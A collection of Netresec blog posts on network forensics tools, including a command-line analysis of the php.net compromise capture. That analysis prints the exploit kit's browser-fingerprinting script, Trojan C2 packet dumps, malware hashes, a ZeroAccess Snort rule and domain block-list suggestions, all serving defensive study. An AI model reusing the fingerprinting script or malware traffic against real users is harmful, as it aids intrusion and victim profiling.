A vulnerability notice (CVE-2014-4449) has now been published, where Apple confirm that fake SSL certificates (like the Chinese fake one) were not verified by Apple iOS before 8.1. Apple released the first details about this vulnerability just a few hours after this blog post was published. Here's the text from the CVE description:

iCloud Data Access in Apple iOS before 8.1 does not verify X.509 certificates from TLS servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
This means that the Chinese MITM of iCloud could potentially have revealed a significant number of iCloud credentials as well as private data (images, videos, documents etc) to the attackers. Or, as @Exploit_This tweeted: "So china wants our nudes?"

Posted by Erik Hjelmvik on Monday, 20 October 2014 13:35:00 (UTC/GMT)

Tags: #Netresec #PCAP #GFW #China #PcapNG #MITM #NetworkMiner #AS4837 #AS4134

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 1.6 Released

We've released version 1.6 of NetworkMiner today!

Confetti in Toronto by Winnie Surya Image credits: Confetti in Toronto by Winnie Surya

The new features in NetworkMiner 1.6 include:

  • Drag-and-Drop
    Reassembled files and images can be opened with external tools by drag-and-dropping items from NetworkMiner's Files or Images tabs onto your favorite editor or viewer.

  • Email extraction
    Improved extraction of emails and attachments sent over SMTP.

  • DNS analysis
    Failed DNS lookups that result in NXDOMAIN and SERVFAIL are displayed in the DNS tab along with the flags in the DNS response.

  • Live sniffing
    Improved live sniffing performance.

  • PCAP-over-IP
    Remote live sniffing enabled by bringing the PCAP-over-IP feature into the free open source version of NetworkMiner.

Identifying Malware DNS lookups

NetworkMiner Professional 1.6 with DNS traffic from the Contagio Kuluoz-Asprox

DNS traffic from the Kuluoz-Asprox botnet (PCAP file available via Contagio)

Note the NXDOMAIN responses and “No” in Alexa top 1 million column in the screenshot above; these domains are probably generated by a domain generation algorithm (DGA).

Live Sniffing with Pcap-over-IP

The PCAP-over-IP functionality enables live sniffing also on non-Windows machines, simply by running tcpdump (or dumpcap) and netcat like this:

# tcpdump -i eth0 -s0 -U -w - | nc localhost 57012
For more information about how to run NetworkMiner in Linux, please read our HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux blog post.

To receive the Pcap-over-IP stream in NetworkMiner, simply press Ctrl+R and select a TCP port.

NetworkMiner Pcap-over-IP

For more information about this feature please see our previous blog post about the PCAP‑over‑IP feature.

NetworkMiner Professional

The professional version of NetworkMiner additionally contains the following improvements of the command line tool NetworkMinerCLI:

  • Enabled reading of PCAP and PcapNG data from standard input (STDIN)
  • Full support for PCAP-over-IP
  • More detailed DNS logging in NetworkMinerCLI's CSV export of DNS responses

The ability to read PCAP data from STDIN with NetworkMinerCLI makes it really simple to do live extraction of emails and email attachments. Here's an example showing how to do live SMTP extraction in Linux:

# tcpdump -i eth0 -s0 -w - port 25 or 587 | mono NetworkMinerCLI.exe -r - -w /var/log/smtp_extraction/

The syntax for extracting emails and attachments in Windows is very similar:

C:\>dumpcap.exe -i 1 -f "port 25 or 587" -w - | NetworkMinerCLI.exe -r -

The TCP ports 25 and 587, which are used in the capture filter above, are the standard port numbers for SMTP. In order to do live extraction of files sent over HTTP, simply use “port 80” as capture filter instead. Likewise, X.509 certificates can also be extracted from HTTPS sessions simply by using “port 443” as capture filter.

Download NetworkMiner 1.6

The most recent release of the free (open source) version of NetworkMiner can be downloaded from SourceForge or our NetworkMiner product page. Paying customers can download an update for NetworkMiner Professional from our customer portal.


We would like to thank Dan Eriksson (FM CERT) and Lenny Hansson (Danish GovCERT) for submitting bug reports and feature requests.

Posted by Erik Hjelmvik on Monday, 16 June 2014 11:00:00 (UTC/GMT)

Tags: #Netresec #NetworkMiner #Professional #SMTP #Extract #DNS #PCAP-over-IP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Carving Network Packets from Memory Dump Files

Hattori Hanzo by Stefan Ledwina A new feature in the recently released CapLoader 1.2 is the ability to carve network packets from any file and save them in the PCAP-NG format. This fusion between memory forensics and network forensics makes it possible to extract sent and received IP frames, with complete payload, from RAM dumps as well as from raw disk images.

CapLoader will basically carve any TCP or UDP packet that is preceded by an IP frame (both IPv4 and IPv6 are supported), and believe me; there are quite a few such packets in a normal memory image!

We've made the packet carver feature available in the free version of CapLoader, so feel free to give it a try!

The packet carving feature makes it possible do much better analysis of network traffic in memory dumps compared to Volatility's connscan2. With Volatility you basically get the IP addresses and port numbers that communicated, but with CapLoader's packet carver you also get the contents of the communication!

Modern depiction of ninja with ninjato (ninja sword), Edo wonderland, Japan

EXAMPLE: Honeynet Banking Troubles Image

I loaded the publicly available “Banking Troubles” memory image from the Honeynet Project into CapLoader to exemplify the packet carver's usefulness in a digital forensics / incident response (DFIR) scenario.

CapLoader 1.2 Carving Packets from HoneyNet Memory Image
CapLoader 1.2 Carving Packets from HoneyNet Memory Image

CapLoader 1.2 Finished Carving Packets from HoneyNet Memory Image
22 TCP/UDP Flows were carved from the memory image by CapLoader

Let's look at the network traffic information that was extracted in the Honeynet Project's own solution for the Banking Troubles Challenge:

python volatility connscan2 -f images/hn_forensics.vmem"
Local Address Remote Address Pid
------------------------- ------------------------- ------ 888 1244 1244 4 0 888 888 888 888 1752 880 880


"This connection [marked in bold above] was opened by AcroRd32.exe (PID 1752) and this represents an additional clue that an Adobe Reader exploit was used in order to download and execute a malware sample."

The solution doesn't provide any evidence regarding what Acrobat Reader actually used the TCP connection for. Additionally, none of the three finalists managed to prove what was sent over this connection.

To view the payload of this TCP connection in CapLoader, I simply right-clicked the corresponding row and selected “Flow Transcript”.

Transcript of TCP flow contents in CapLoader
Transcript of TCP flow contents (much like Wireshark's Follow-TCP-Stream)

We can see that the following was sent from to

GET /load.php?a=a&st=Internet%20Explorer%206.0&e=2 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Connection: Keep-Alive

Notice that the HTTP GET request took place at the end of the TCP session. Odd? Well, CapLoader doesn't know the timestamp of carved packets, so they are simply ordered as they were discovered in the dump file. The timestamp generated for each carved packet represents where in the image/dump the packet was found. Or more precise: the number of microseconds since EPOCH (1970-01-01 00:00:00) is the offset (in bytes) from where the packet was carved.

Hence, we know that the HTTP GET request can be found between offset 37068800 and 37507072 in the image (a 428 kB region). To be more exact we can open the generated PcapNG file with Wireshark or Tshark to get the timestamp and length of the actual HTTP GET request packet.

tshark.exe -r Bob.vmem.pcapng" -R http.request -T fields -e frame.time_epoch -e frame.len -e http.request.uri
31.900664000 175 *
37.457920000 175 *
37.462016000 286 /load.php?a=a&st=Internet%20Explorer%206.0&e=2
37.509120000 175 *
37.519360000 245 /~produkt/983745213424/34650798253
37.552128000 266 /root.sxml
37.570560000 265 /l3fw.xml
37.591040000 274 /WANCommonIFC1.xml
37.607424000 271 /WANIPConn1.xml

Now, lets verify that the raw packet data is actually 37462016 bytes into the memory dump.

xxd -s 37462016 -l 286 Bob.vmem
23ba000: 0021 9101 b248 000c 2920 d71e 0800 4500 .!...H..) ....E.
23ba010: 0110 3113 4000 8006 8e1a c0a8 00b0 d496 ..1.@...........
23ba020: a4cb 049a 0050 7799 0550 f33b 7886 5018 .....Pw..P.;x.P.
23ba030: faf0 227e 0000 4745 5420 2f6c 6f61 642e .."~..GET /load.
23ba040: 7068 703f 613d 6126 7374 3d49 6e74 6572 php?a=a&st=Inter
23ba050: 6e65 7425 3230 4578 706c 6f72 6572 2532 net%20Explorer%2
23ba060: 3036 2e30 2665 3d32 2048 5454 502f 312e 06.0&e=2 HTTP/1.
23ba070: 310d 0a41 6363 6570 743a 202a 2f2a 0d0a 1..Accept: */*..
23ba080: 4163 6365 7074 2d45 6e63 6f64 696e 673a Accept-Encoding:
23ba090: 2067 7a69 702c 2064 6566 6c61 7465 0d0a gzip, deflate..
23ba0a0: 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 User-Agent: Mozi
23ba0b0: 6c6c 612f 342e 3020 2863 6f6d 7061 7469 lla/4.0 (compati
23ba0c0: 626c 653b 204d 5349 4520 362e 303b 2057 ble; MSIE 6.0; W
23ba0d0: 696e 646f 7773 204e 5420 352e 313b 2053 indows NT 5.1; S
23ba0e0: 5631 290d 0a48 6f73 743a 2073 6561 7263 V1)..Host: searc
23ba0f0: 682d 6e65 7477 6f72 6b2d 706c 7573 2e63 h-network-plus.c
23ba100: 6f6d 0d0a 436f 6e6e 6563 7469 6f6e 3a20 om..Connection:
23ba110: 4b65 6570 2d41 6c69 7665 0d0a 0d0a Keep-Alive....
Yep, that's our HTTP GET packet preceded by an Ethernet, IP and TCP header.

Ninja Training by Danny Choo

Give it a Try!

Wanna verify the packet carving functionality? Well, that's easy! Just follow these three steps:

  1. Download a sample memory image (thanks for the great resource Volatility Team!)
    Download the free RAM dumper DumpIt and dump your own computer's memory.
    Locate an existing file that already contains parts of your RAM, such as pagefile.sys or hiberfil.sys

  2. Download the free version of CapLoader and open the memory dump.

  3. Select destination for the generated PcapNG file with carved packets and hit the “Carve” button!

Illangam fighting scene with swords and shields at korathota angampora tradition

Carving Packets from Proprietary and odd Capture Formats

CapLoader can parse PCAP and PcapNG files, which are the two most widely used packet capture formats. However, the packet carving features makes it possible to extract packets from pretty much any capture format, including proprietary ones. The drawback is that timestamp information will be lost.

We have successfully verified that CapLaoder can carve packets from the following network packet capture / network trace file formats:

  • .ETL files created with netsh or logman. These Event Trace Log files can be created without having WinPcap installed.
  • .CAP files created with Microsoft Network Monitor
  • .ENC files (NA Sniffer) from IBM ISS products like the Proventia IPS (as well as Robert Graham's old BlackICE)
  • .ERF files from Endace probes

Posted by Erik Hjelmvik on Monday, 17 March 2014 10:05:00 (UTC/GMT)

Tags: #Netresec #PCAP #memory #dump #forensics #DFIR #CapLoader #PcapNG

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Command-line Forensics of hacked

Update: October 29

@StopMalvertisin recently published a great blog post that covered the five binaries that were served with help of the compromise. We've therefore updated this blog post with a few of their findings in order to give a more complete picture of the events.

LSI and Monitor playing KALISCOP by DanCentury

The good people from Barracuda Labs were kind enough to share a PCAP file from the compromize on their blog.

I decided to have a closer look at that PCAP file to see what can be extracted from it. Since the PCAP contains Windows malware I played safe and did all the analysis on a Linux machine with no Internet connectivity.

For no particluar reason I also decided to do all the analysis without any GUI tools. Old skool ;)


~/Desktop$ capinfos barracuda.pcap
File name:           barracuda.pcap
File type:           Wireshark/tcpdump/... - libpcap
File encapsulation:  Ethernet
Number of packets:   1403
File size:           1256656 bytes
Data size:           1234184 bytes
Capture duration:    125 seconds
Start time:          Tue Oct 22 19:27:36 2013
End time:            Tue Oct 22 19:29:41 2013
Data byte rate:      9897.42 bytes/sec
Data bit rate:       79179.33 bits/sec
Average packet size: 879.67 bytes
Average packet rate: 11.25 packets/sec

We can see that the PCAP is from October 22, i.e. the traffic was captured at least one day before Google Safe Browsing started alerting users that was hosting malware. Barracuda Labs made the PCAP file public on October 24.

A good start is to look at IP's and hostnames based on DNS traffic. Tshark can give a nice hosts-file formatted output with the following command:

~/Desktop$ tshark -r barracuda.pcap -q -z hosts
# TShark hosts output
# Host data gathered from barracuda.pcap

Several of these hostnames look suspicious; two of them look as if they have been produced by a domain generation algorithm (DGA). However, before proceeding with analyzing these domains I'll also run the PCAP through httpry in order to generate a web-proxy-like log.

~/Desktop/php-net$ httpry -r ../barracuda.pcap 'dst port 80'
httpry version 0.1.6 -- HTTP logging and information retrieval tool
Copyright (c) 2005-2011 Jason Bittel <> > GET / > GET / > GET / > GET / > GET / > GET / > GET / > GET / > GET / > GET /stat.htm > GET /PluginDetect_All.js > POST /stat.htm > GET /nid?1 > GET /?695e6cca27beb62ddb0a8ea707e4ffb8=43 > GET /b0047396f70a98831ac1e3b25c324328/8fdc5f9653bb42a310b96f5fb203815b.swf > GET /b0047396f70a98831ac1e3b25c324328/b7fc797c851c250e92de05cbafe98609 > GET /?9de26ff3b66ba82b35e31bf4ea975dfe > GET /?90f5b9a1fbcb2e4a879001a28d7940b4 > GET /?8eec6c596bb3e684092b9ea8970d7eae > GET /?35523bb81eca604f9ebd1748879f3fc1 > GET /?b28b06f01e219d58efba9fe0d1fe1bb3 > GET /app/geoip.js > GET / > GET /?52d4e644e9cda518824293e7a4cdb7a1 > POST / > GET /
26 http packets parsed

We can see that the first HTTP request outside of was a GET reguest for Let's extract this file (and all the other ones) to disk with NetworkMinerCLI, i.e. the command line version of NetworkMiner Professional. NetworkMinerCLI works just fine in Linux (if you have installed Mono) and it's perfect when you wanna automize content extraction from PCAP files, since you can script it to extract metadata and files to disk from the captured packets.

~/Desktop$ mkdir php-net
~/Desktop$ NetworkMinerCLI.exe -r barracuda.pcap -w php-net

NetworkMinerCLI has now produced multiple CSV files that we can grep in (or load into Excel / OpenOffice). The “AssembledFiles” directory contains the files that have been extracted from the packets.

~/Desktop/php-net$ ls

~/Desktop/php-net$ cat AssembledFiles/\ -\ TCP\ 80/stat.htm

<script type="text/javascript" src="PluginDetect_All.js"></script>
var os=0;
var os=PluginDetect.OS;
var jav=0;
//var javaversion=PluginDetect.getVersion('Java','./getjavainfo.jar');
var javaversion=0;
var acrobat=new Object();
var pdfi=0;
var adobe=PluginDetect.getVersion("AdobeReader");
var resoluz=0;
document.write('<form action="stat.htm" method="post"><input type="hidden" name="id" value="" />');
var id=resoluz+'|'+jav+'|'+pdfi;
var frm=document.forms[0];;

The bold part of this java script does a HTTP POST back to stat.htm with a parameter named id and a value in the following format: "ScreenResolutionWidth|Java(1/0)|AdobeReader(1/0)"

The Parameters.csv contains all text based variables and parameters that have been extracted from the PCAP file. I should therefore be able to find the contents of this HTTP POST inside that CSV file.

~/Desktop/php-net$ grep POST barracuda.pcap.Parameters.csv,TCP 1040,,TCP 80,147,10/22/2013 7:27:54 PM,HTTP POST,id,800|1|1

Yep, the following data was posted back to stat.htm (which we expect is under the attacker's control):

Width = 800px
Java = 1 (true)
AdobeReader = 1 (true)

The first DGA-like URL in the list above was Let's proceed by grepping for the DGA hostname and its IP.

~/Desktop/php-net$ grep zivvgmyrwy barracuda.pcap.Hosts.csv | cut -d, -f 1,3,5,",DE Germany

~/Desktop/php-net$ grep barracuda.pcap.FileInfos.csv | cut -d, -f 1,9,10,50599e6c124493994541489e00e816e3,3C68746D<htm,8943d7a67139892a929e65c0f69a5ced,3C21444F<!DO,97017ee966626d55d76598826217801f,3C68746D<htm,dc0dbf82e756fe110c5fbdd771fe67f5,4D5A9000MZ..,406d6001e16e76622d85a92ae3453588,4D5A9000MZ..,d41d8cd98f00b204e9800998ecf8427e,,c73134f67fd261dedbc1b685b49d1fa4,4D5A9000MZ..,18f4d13f7670866f96822e4683137dd6,4D5A9000MZ..,78a5f0bc44fa387310d6571ed752e217,4D5A9000MZ..

These are the MD5-sums of the files that have been downloaded from that suspicious domain. The last column (column 10 in the original CSV file) is the file's first four bytes in Hex, followed by an ASCII representation of the same four bytes. Hence, files starting with 4D5A (hex for “MZ”) are typically Windows PE32 binaries. We can see that five PE32 files have been downloaded from

All the listed files have also been carved to disk by NetworkMinerCLI. We can therefore have a quick look at the extracted files to see if any of them uses the IsDebuggerPresent function, which is a common anti-debugging technique used by malware to avoid sanboxes and malware analysts.

~/Desktop/php-net$ fgrep -R IsDebuggerPresent AssembledFiles
Binary file AssembledFiles/ - TCP 80/index.html.A62ECF91.html matches
Binary file AssembledFiles/ - TCP 80/index.html.63366393.html matches
Binary file AssembledFiles/ - TCP 80/index.html.6FA4D5CC.html matches
Binary file AssembledFiles/ - TCP 80/index.html.51620EC7.html matches

The other odd looking domain name was “” that seems to be pointing to a whole array of IP addresses. Let's see what we can find out about this domain:

~/Desktop/php-net$ grep uocqiumsciscqaiu barracuda.pcap.Hosts.csv | cut -d, -f 1,3,4,,RU Russian Federation

It turns out that the PCAP file contains communication to one of the IP addresses associated with the “” domain. The server is located in Russia (according to MaxMind). Going back to our previous httpry log we can see that a HTTP POST was made to this domain. Let's see what content that was pushed out to that Russian server!

~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "ip.addr eq and http.request" -x

862 67.365496 -> HTTP POST / HTTP/1.1

0000 0a b4 df 27 c2 b0 00 20 18 eb ca 28 08 00 45 00 ...'... ...(..E.
0010 01 05 02 96 40 00 80 06 68 d9 c0 a8 28 0a 5f 6a ....@...h...(._j
0020 46 67 04 2f 00 50 d3 80 46 2f e3 c6 b5 b5 50 18 Fg./.P..F/....P.
0030 ff ff b0 15 00 00 50 4f 53 54 20 2f 20 48 54 54 ......POST / HTT
0040 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 75 6f 63 P/1.1..Host: uoc
0050 71 69 75 6d 73 63 69 73 63 71 61 69 75 2e 6f 72 qiumsciscqaiu.or
0060 67 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 g..Content-Lengt
0070 68 3a 20 31 32 38 0d 0a 43 61 63 68 65 2d 43 6f h: 128..Cache-Co
0080 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d ntrol: no-cache.
0090 0a 0d 0a 1c 61 37 c4 95 55 9a a0 1c 96 5a 0e e7 ....a7..U....Z..
00a0 f7 16 65 b2 00 9a 93 dc 21 96 e8 70 84 e8 75 6a ..e.....!..p..uj
00b0 04 e2 21 fb f1 2f 96 ce 4e 6c a8 f8 54 ac dd aa ..!../..Nl..T...
00c0 d5 fa c1 61 b5 ec 18 68 38 6e 3b ac 8e 86 a5 d0 ...a...h8n;.....
00d0 f2 62 73 6e ee 37 bc 40 3e 3d 22 0b fe 7c ca 9c .bsn.7.@>="..|..
00e0 49 39 2b d2 cb a2 ec 02 70 2b 58 de 24 75 61 21 I9+.....p+X.$ua!
00f0 85 c9 91 c1 7a ee 0b f7 fd 6c ef e6 c2 6e cb a9 ....z....l...n..
0100 fb ac 65 d8 78 87 fa e2 7f 05 13 a6 73 3d 27 b1 ..e.x.......s='.
0110 db c2 a7 ...

That looks quite odd. Most likely C2 communication or some form of encrypted channel for information leakage.
Update: Our friends from confirm that this is C2 traffic from the downloaded Trojan with MD5 c73134f67fd261dedbc1b685b49d1fa4.

ZeroAccess Trojan

Running the PCAP through Snort will generate multiple alerts indicating that UDP traffic to port 53 might be C2 traffic from the ZeroAccess trojan.

10/22-20:28:38.363586 [**] [1:2015474:2] ET TROJAN ZeroAccess udp traffic detected [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} ->

There will also be another alert indicating ZeroAccess traffic, but this time for UDP port 16471:

10/22-20:28:57.501645 [**] [1:2015482:6] ET TROJAN ZeroAccess Outbound udp traffic detected [**] [Classification: A Network Trojan was Detected] [Priority: 1] {UDP} ->

But when looking closer at the traffic for that alert we only see one outgoing packet, but no response. That wasn't very interesting. However, the rule that was triggered in this particular alert contained a threshold that suppressed alerts for ZeroAccess traffic to other IP addresses. Here is the syntax for the Snort rule:

alert udp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN ZeroAccess Outbound udp traffic detected"; content:"|28 94 8d ab c9 c0 d1 99|"; offset:4; depth:8; dsize:16; threshold: type both, track by_src, count 10, seconds 600; classtype:trojan-activity; sid:2015482; rev:4;)

We can use the content signature to search for other similar packets by using tshark like this:

~/Desktop/php-net$ tshark -R "udp and contains 28:94:8d:ab:c9:c0:d1:99" -r ../barracuda.pcap -T fields -e ip.dst -e udp.port | sort -u 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471 16471

Wow, the ZeroAccess trojan's P2P C2 traffic sure is noisy, the threshold was probably there for a reason! But let's see which of these servers that actually reply to the ZeroAccess traffic:

~/Desktop/php-net$ tshark -r ../barracuda.pcap -R "udp.srcport eq 16471" -T fields -e ip.src > ZeroAccessHosts

~/Desktop/php-net$ fgrep -f ZeroAccessHosts 5f810408ddbbd6d349b4be4766f41a37.pcap.Hosts.csv | cut -d, -f 1,4,IN India,NL Netherlands,UA Ukraine,US United States,US United States,US United States,US United States,PL Poland,LT Lithuania,CA Canada,TT Trinidad and Tobago,BR Brazil

Sweet, those IP's are most likely infected with ZeroAccess as well.

Bonus Find

Barracuda Lab's public IP address for their malware analysis machine seems to be

~/Desktop/php-net$ cut -d, -f1,3,4 barracuda.pcap.Credentials.csv | head -2
ClientIP,Protocol,Username,HTTP Cookie,COUNTRY=USA%2C64.235.155.80


I've created a timeline of the events in the PCAP file provided by Barracuda Labs. This timeline is frame centric, i.e. frame number is used as the first identifier instead of a timestamp. This helps when you wanna find a particular event in the PCAP.

Frame Data Comment
15 Set-Cookie: COUNTRY=USA%2C64.235.155.80 The external IP of Barracuda's malware lab is stored as a cookie.
139 GET / The first entry of infection at
147 POST Width = 800px, Java = True, AcrobatReader = True
174 GET /b0047396f70a98831ac1e3b25c324328/ b7fc797c851c250e92de05cbafe98609 Triggers CVE-2013-2551 / MS13-037
213 Ransomware Zbot downloaded from File details on VirusTotal or Anubis. MD5: dc0dbf82e756fe110c5fbdd771fe67f5
299 Ransomware Zbot downloaded from File details on VirusTotal or Anubis. MD5: 406d6001e16e76622d85a92ae3453588
424 Trojan downloaded from File details on VirusTotal or Anubis. MD5: c73134f67fd261dedbc1b685b49d1fa4
534 ZeroAccess Trojan downloaded from File details on VirusTotal or Anubis. MD5: 18f4d13f7670866f96822e4683137dd6
728 GET /app/geoip.js HTTP/1.0 MaxMind query by ZeroAccess Trojan downloaded in frame 534
751 GET Connectivity test by Trojan downloaded in frame 424
804 Vawtrak.A Backdoor / Password Stealer downloaded from File details on VirusTotal or Anubis. MD5: 78a5f0bc44fa387310d6571ed752e217
862 HTTP POST to hxxp:// C2 communication by Trojan downloaded in frame 424
1042 TCP 16471 First of the TCP-based ZeroAccess C2 channels
1036 UDP 16471 First UDP packet with ZeroAccess C2 data
1041 UDP 16471 first UDP ZeroAccess successful reply

Posted by Erik Hjelmvik on Monday, 28 October 2013 22:15:00 (UTC/GMT)

Tags: #Netresec #PCAP #ZeroAccess #NetworkMinerCLI #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

DNS whitelisting in NetworkMiner

Stack of Papers by Jenni C

One of the new features in NetworkMiner Professional 1.5 is the ability to check if domain names in DNS requests/responses are “normal” or malicious ones. This lookup is performed offline using a local copy of Alexa's top 1 million domain name list.

We got the idea for this feature via Jarno Niemelä's great presentation titled “Making Life Difficult for Malware”. Despite working for F-Secure Jarno presents several smart ideas for avoiding malware infections without having to install an AV-product.

One of Jarno's slides contains the following suggestions:

Block Traffic To Sites Your Users Don’t Go To

Block subdomain hosting TLDs
  •,,,,,,,,, etc
Block domains that provide dynamic DNS
  • *dyndns*, *no-ip*,,,,
Block file sharing sites, some malware use them
For strict policy, allow DNS resolving only to Alexa top 1M[1]
  • Tip: Instead of null routing domains set up landing page
  • Either with a link that allows domain or IT ticket

Preventing users from visiting sites outside of the top 1 million websites (according to Alexa) sounds a bit harsh. In fact, we at Netresec just recently made it into the top 1M list (the current rank for is 726 922). There are also many good and legit sites that are not yet on this list. Our idea is, however, to give analysts a heads up on queried DNS names that are not on the top 1M list by displaying this information in NetworkMiner's DNS tab.

NetworkMiner Professional 1.5 with DNS tab showing Alexa result for

The screenshot above contains a lookup for the domain “” (note the missing “s” in “windows”). This domain name was previously used by the C2 protocol Lurk (see Command Five's report “Command and Control in the Fifth Domain” for more details). The “Alexa Top 1M” column in NetworkMiner's DNS tab indicates whether or not the domain name is a well known domain. The malicious “” is marked with “No”, while the proper “” is indeed on the list. It is, however, important to note that only the second-level domain is checked by NetworkMiner; i.e. in this case “” and “”.

The DNS whitelisting technique can also come in handy when dealing with malware that employs domain generation algorithms (DGAs) (see the Damballa blog for additional info regarding DGAs). It is probably safe to say that these auto-generated domains should never show up in the Alexa Top 1M list.

Posted by Erik Hjelmvik on Wednesday, 02 October 2013 22:30:00 (UTC/GMT)

Tags: #Netresec #DNS #domain #DGA #malware #Alexa

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

New features in NetworkMiner 1.5

NetworkMiner 1.5 was released on August 7th, but we haven't yet provided any details regarding the new functionality that has been added.

NetworkMiner (free edition)

New features in the free and open source version of NetworkMiner:

  • Parser for PPPoE (RFC 2615)
  • Keywords can be loaded from text file (useful in investigations where you have lots of strings to search for)
  • Support for LLMNR DNS (RFC 4795) queries over UDP 5355

NetworkMiner Professional

The professional version of NetworkMiner additionally contains the following new features:

NetworkMiner Professional 1.5 with DNS tab
DNS tab in NetworkMiner Professional with eee.pcapng from CloudShark loaded.

Metadata in NetworkMiner Professional 1.5
Metadata window in NetworkMiner Professional

In order to bring up the metadata window, simply right-click a PcapNG file in NetworkMiner's case panel and select "Show Metadata". The extracted metadata will normally contain info about the machine used to create the capture file, such as the OS and what sniffer that was used. Also, please note that some PcapNG files additionally contain name resolution blocks with cached DNS entries even if the corresponding traffic has been filtered from the capture file.

We hope you will find these new features useful!

Posted by Erik Hjelmvik on Sunday, 15 September 2013 21:03:00 (UTC/GMT)

Tags: #Netresec #PcapNG #NetworkMiner

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Fast analysis of large pcap files with CapLoader

CapLoader Logo

Are you working with large pcap files and need to see the “whole picture” while still being able to quickly drill down to individual packets for a TCP or UDP flow? Then this is your lucky day, since we at Netresec are releasing our new tool CapLoader today!

Here are the main features of CapLoader:

  • Fast loading of multi-gigabyte PCAP files (1 GB loads in less than 2 minutes on a standard PC and even faster on multi-core machines).
  • GUI presentation of all TCP and UDP flows in the loaded PCAP files.
  • Automatic identification of application layer protocols without relying on port numbers.
  • Extremely fast drill-down functionality to open packets from one or multiple selected flows.
  • Possibility to export packets from selected flows to a new PCAP file or directly open them in external tools like Wireshark and NetworkMiner.

CapLoader identifying Rootkit SSH backdoor on TCP 5001
CapLoader with files from Honeynet SOTM 28 loaded. The application layer protocol from the rootkit backdoor on TCP 5001 is automatically identified as "SSH".

The typical process of working with CapLoader is:

  1. Open one or multiple pcap files, typically by drag-and-dropping them onto the CapLoader GUI.
    CapLoader loading a pcap file with drag-and-drop
  2. Mark the flows of interest.
    CapLoader selecting flows / sessions
  3. Double click the PCAP icon to open the selected sessions in your default pcap parser (typically Wireshark) or better yet, do drag-and-drop from the PCAP icon to your favorite packet analyzer.
    CapLoader exporting packets to NetworkMiner

In short, CapLoader will significantly speed up the analysis process of large network captures while also empowering analysts with a unique protocol identification ability. We at Netresec see CapLoader as the perfect tool for everyone who want to perform analysis on “big data” network captures.

More information about CapLoader is available on

Posted by Erik Hjelmvik on Monday, 02 April 2012 19:55:00 (UTC/GMT)

Tags: #Netresec #CapLoader #Fast #Big Data #PCAP #Flow

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

NetworkMiner 1.2 Released

NetworkMiner 1.2 is now available!

For those who are not familiar with the network forensics tool NetworkMiner, it's a portable Windows application that analyzes network traffic. NetworkMiner comes in two flavors; a free open source version and a commercial version called “NetworkMiner Professional”.

Some of the new features in version 1.2 of NetworkMiner (free as well as pro version) are:

  • NetworkMiner is now platform independent and can be run on Linux, Mac etc. with help of Mono.
  • Better parsing of emails sent with SMTP.
  • Content extraction of emails went with AOL webmail as in ”The L33t Pill” from the Network Forensics Puzzle Contest.
  • Content extraction from unencrypted SquirrelMail webmail posts.
  • Content extraction of comments sent to Wordpress and Blogspot blogs.
  • Support for GRE encapsulation.
  • Better handling of truncated pcap files that are cut in the middle of a frame.
  • Updated "Details" column in "Files" tab to display the HTTP host name as well as the URI from where the file was retrieved.

NetworkMiner 1.2 Hosts tab

NetworkMiner 1.2 with the Hosts tab open

Upgrading from NetworkMiner Professional 1.x

We offer free upgrades for users running older versions of NetworkMiner Professional. Just send an email to info [at] with your current version number as well as license number (which you can find under the menu “Help” > “About Network Miner”) and say that you'd like to upgrade to version 1.2.

Posted by Erik Hjelmvik on Saturday, 19 November 2011 16:00:00 (UTC/GMT)

Tags: #Netresec

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Automatic Flushing in RawCap

Decorative toilet seat

The “-f” switch can now be used to force RawCap to immediately flush sniffed packets to disk.

I've received multiple emails from RawCap users who run into problems when they want to look at a pcap file from RawCap without terminating the program. What usually happens in this case is that the output pcap file will be empty until they terminate RawCap with “Ctrl-C”. The reason for this is that RawCap has a 1MB data buffer, which is used in order to maximize performance by reducing unnecessary disk operations. RawCap will therefore not write any data to disk until it is terminated or has filled the buffer with 1MB of network traffic.

We've now released a new version ( of RawCap in order to solve the needs of these users. The new version supports WriteThrough, which forces the data to be written directly to disk without being buffered. The automatic flushing functionality is enabled by supplying the “-f” switch from the command line when launching RawCap.

There is, however, one downside with the new version of RawCap; the size of RawCap.exe has increased from 17kB to 18kB. Sorry for that fellow minimalists... ;)

Here is an example command showing how to sniff traffic from localhost with automatic flushing (i.e. no buffer):

RawCap.exe -f LiveLoopback.pcap

Happy live sniffing!

Posted by Erik Hjelmvik on Sunday, 23 October 2011 16:24:00 (UTC/GMT)

Tags: #Netresec #RawCap #loopback #PCAP

More... Share  |  Facebook   Twitter   Reddit   Hacker News Short URL:

Running NetworkMiner on Linux with Wine

UPDATE : We no longer recommend running NetworkMiner under Wine, please see our blog post on HowTo install NetworkMiner in Ubuntu Fedora and Arch Linux instead.

Joshua Smith has written a great blog post on about how to get NetworkMiner running on BackTrack Linux. C. S. Lee (a.k.a. geek00l) has also written a blog post a couple of years ago explaining how to install NetworkMiner on Ubuntu Linux.

Unfortunately both these blog posts point to URLs with old versions of NetworkMiner (now that version 1.1 is released). I'm therefore posting a simple walkthrough of the required commands in order to install the latest version of NetworkMiner on an Ubuntu machine:

sudo apt-get install winetricks
winetricks corefonts dotnet20 gdiplus
